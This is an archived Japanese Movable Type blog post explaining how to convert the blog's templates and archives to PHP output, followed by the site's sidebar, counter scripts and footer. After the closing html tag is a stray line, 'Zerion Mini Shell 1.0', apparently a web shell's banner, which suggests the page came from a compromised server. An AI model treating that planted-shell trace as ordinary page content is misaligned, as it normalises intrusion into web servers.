	1)<strong>デザイン>テンプレート</strong>を開いて、インデックステンプレートの中の<strong>メインページ</strong>をクリック。下部にある<strong>テンプレートの設定</strong>をクリック。出力ファイル名を変更。</p>
<pre>
<code>index.html &rarr; index.php</code></pre>
<p>
	2)<strong>アーカイブインデックス</strong>も同じ様に変更。</p>
<p>
	&nbsp;</p>
<h4>
	アーカイブテンプレートのPHP化</h4>
<p>
	1)アーカイブテンプレートの中のブログ記事をクリックし、下部にあるテンプレート設定をクリック。パスの部分で、カスタムを選択し、アーカイブパスを変更。</p>
<pre>
<code>&rarr; %y/%m/%d-%h%n%s%x</code></pre>
<p>
	2)<strong>設定>全般</strong>を開いて、アーカイブ設定の中の<strong>ファイルの拡張子をphp</strong>に。</p>
<p>
	&nbsp;</p>
<h4>
	再構築をして確認</h4>
<p>
	1)ブログのトップページを開いて、そのURLに<strong>index.php</strong>を付加して確認。このブログの場合・・・</p>
<pre>
<code>http://rappan.sakura.ne.jp/blog/ &rarr; http://rappan.sakura.ne.jp/blog/index.php</code></pre>
<p>
	2)うまく表示できていたら、<strong>*.html</strong>ファイルを全て手動で削除。</p>
<p>
	&nbsp;</p>
<p>
	<span style="color: #f00">※</span><strong>XML宣言の修正</strong>と<strong>パーミッション変更</strong>は不要でした(ステップサーバーを使用してます)。</p>

      
      

      

   </div>
   <p class="entry-footer">

<a href="http://rappan.sakura.ne.jp/blog/2010/03/08-140904.php">Permalink</a>

| 

Category : <a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/php/" title="">php化</a>



 | 


<a href="http://rappan.sakura.ne.jp/blog/2010/03/08-140904.php#comments" title="comments13">Comments</a> [0]

 | 

<a href="http://rappan.sakura.ne.jp/blog/2010/03/08-140904.php#trackbacks" title="trackbacks13">Trackbacks</a> [0]

</p>

</div>
</div>
      


<div class="content-nav">
<div class="rappan">
   <ul>
   
   <li class="left"></li>
   <li class="current_page">1</li><li><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/php/index_2.php" class="link_page">2</a></li>
   <li class="right"></li>
   
   <li><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/php/index_2.php" class="link_next">次へ</a></li>
   
   </ul>
</div>
</div>

</div>
</div>




<div id="links-right-box">
  <dl id="links-right">
  
<dt class="sidetitle">
Search this site
</dt>
 
<dd class="side">
  <form method="get" action="http://rappan.sakura.ne.jp/mt/mt-search.cgi">
    <fieldset>
      <input type="hidden" name="IncludeBlogs" value="2" />
      <input type="hidden" name="limit" value="20" />
      <input id="search" tabindex="8"  accesskey="t" name="search" size="20" value="" />
      <input type="submit" tabindex="9" accesskey="s" value="Search" />
    </fieldset>
  </form>
</dd>
<dt class="sidetitle">
Monthly php化
</dt>

<dd class="side">
    
      
  <ul>
      
    <li><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/php/2010/03/">php化: 2010年3月</a> [4]</li>
      
  </ul>
      
    
</dd>
  

<dt class="sidetitle">
Monthly Archives
</dt>

<dd class="side">
  
    
  <ul>
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2012/07/">2012年7月</a> [8]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2012/06/">2012年6月</a> [15]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2012/05/">2012年5月</a> [12]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2012/04/">2012年4月</a> [8]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/10/">2011年10月</a> [3]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/09/">2011年9月</a> [4]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/08/">2011年8月</a> [6]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/07/">2011年7月</a> [13]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/06/">2011年6月</a> [7]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/05/">2011年5月</a> [8]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/04/">2011年4月</a> [2]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/03/">2011年3月</a> [11]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2010/06/">2010年6月</a> [15]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2010/05/">2010年5月</a> [17]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2010/04/">2010年4月</a> [12]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2010/03/">2010年3月</a> [18]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2010/02/">2010年2月</a> [7]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2008/05/">2008年5月</a> [14]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2008/04/">2008年4月</a> [15]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2008/03/">2008年3月</a> [1]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2006/07/">2006年7月</a> [1]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2006/05/">2006年5月</a> [4]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2006/04/">2006年4月</a> [13]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2006/03/">2006年3月</a> [12]</li>
    
  </ul>
    
  
</dd>

<dd class="syndicate">
  <a href="http://rappan.sakura.ne.jp/blog/rss.xml">Syndicate this site (XML)</a>
</dd>
<dd class="powered">
  <ul>
    <li class="module-powered"><a href="http://www.movabletype.org/"><img src="http://rappan.sakura.ne.jp/mt/mt-static/images/bug-pbmt-white.png" alt="Powered by Movable Type 5.12" width="120" height="75" /></a></li>
    <li><a href="http://www.koikikukan.com/"><img src="http://rappan.sakura.ne.jp/blog/images/koikikukan.gif" alt="小粋空間" width="128" height="22" /></a></li>
  </ul>
</dd>
<dt class="sidetitle">
Counter
</dt>
<dd class="counter">

<script type="text/javascript">
<!--
ref = window.parent.document.referrer;
document.write("<img src='http://rappan.sakura.ne.jp/cgi_hicnt200/img/img01/waku1.gif' border='0'>");
document.write("<img src='http://rappan.sakura.ne.jp/cgi_hicnt200/hicnt.cgi?pid=blog&img=01&len=7");
document.write("&ref=" + document.referrer + "' border='0'><img src='http://rappan.sakura.ne.jp/cgi_hicnt200/img/img01/waku2.gif' border='0'>");
// --> 
</script>
<noscript>
<img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img01/waku1.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/hicnt.cgi?pid=blog&img=01&len=7" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img01/waku2.gif" border="0">
</noscript>

<br>
<img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img02/waku1.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img02/no.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img02/no.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img02/t.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/hicnt.cgi?pid=blog&img=02&len=4&typ=tday" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img02/waku2.gif" border="0">
<br>
<img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img03/waku1.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img03/no.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img03/no.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img03/y.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/hicnt.cgi?pid=blog&img=03&len=4&typ=yday" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img03/waku2.gif" border="0">
<br>
<div class="counter-ad">
<a href="http://rappan.sakura.ne.jp/cgi_hicnt200/hicnt.cgi?mode=login" target=_blank><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/gif/ana.gif" border="0"></a>
</div>
</dd>

<img src="http://m.from.tv/cgi_access/hana_page.cgi?id=blogm&type=main">


  </dl>
</div>


</div>
<div id="foot">
<p id="footer">Copyright &copy; 2006-2012 Rappan, All rights reserved.</p>
</div>

</div>
</body>
</html>


Zerion Mini Shell 1.0